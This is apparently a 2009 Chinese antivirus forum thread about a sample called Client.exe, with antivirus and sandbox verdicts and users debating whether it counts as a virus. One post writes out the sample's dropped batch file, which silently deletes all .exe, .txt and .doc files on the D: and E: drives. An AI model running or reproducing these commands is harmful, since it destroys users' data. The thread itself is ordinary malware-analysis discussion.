微点勿试，其他上报！！

Anycall-D908

这么多都是误报？哎哟......完全看不懂，谁来救救我

tgzw1680

其实不是病毒，病毒的定义首先是要自我复制，传染，感染破坏文件。这一类型只能算恶意程序

The EQs

有种木马叫做killfiles

黑衣~魂

DR.WEB
Client.exe - infected with Trojan.StartPage.22094

EQ兄說的沒錯
光是TLS hooks: YES.就可以報後門了

Client.exe : Not detected by Sandbox (Signature: NO_VIRUS)


[ DetectionInfo ]
   * Filename: C:\analyzer\scan\Client.exe.
   * Sandbox name: NO_MALWARE
   * Signature name: NO_VIRUS.
   * Compressed: NO.
   * TLS hooks: YES.
   * Executable type: Application.
   * Executable file structure: OK.
   * Filetype: PE_I386.

[ General information ]
   * File length:        69120 bytes.
   * MD5 hash: 29a2b93428347909dc8819c79dcfc3cd.

[ Changes to registry ]
   * Accesses Registry key "HKCU\Software\Borland\Locales".
   * Accesses Registry key "HKLM\Software\Borland\Locales".
   * Accesses Registry key "HKCU\Software\Borland\Delphi\Locales".

[ 本帖最后由 黑衣~魂 于 2009-2-25 23:20 编辑 ]

sjducker

BitDefender 2009

This web page has been blocked by BitDefender Antivirus Real-time Protection!

The blocked web page included objects that were either infected or likely to be infected with a virus. Your system has NOT been infected.

Kitman

to avira

baohelin

client通过cmd.exe运行temp目录下随机数字名.bat。删除D、E盘根目录下的.exe、.txt、.doc文件。
.bat文件的内容：
@shift
del /f /s /q d:\*.exe
del /f /s /q e:\*.exe
del /f /s /q d:\*.txt
del /f /s /q e:\*.txt
del /f /s /q d:\*.doc
del /f /s /q e:\*.doc

并无太大恶意。作者只是给出个例子说明他的观点。

桃源梨花

一个批处理，用Quick Batch File这玩意编译一下就称病毒？

Kitman

The file 'Client.exe' has been determined to be 'MALWARE'. Our analysts discovered that the file is a Dropper. In general this kind of programs do not contain harmul functions by themselves. However they usually create other harmful programs and execute them right away. Detection will be added to our virus definition file (VDF) with one of the next updates.

saga3721

为什么不删掉视频文件？这毒造成的破坏就是一张用来备份应用软件收集的DVD刻录盘搞定的事。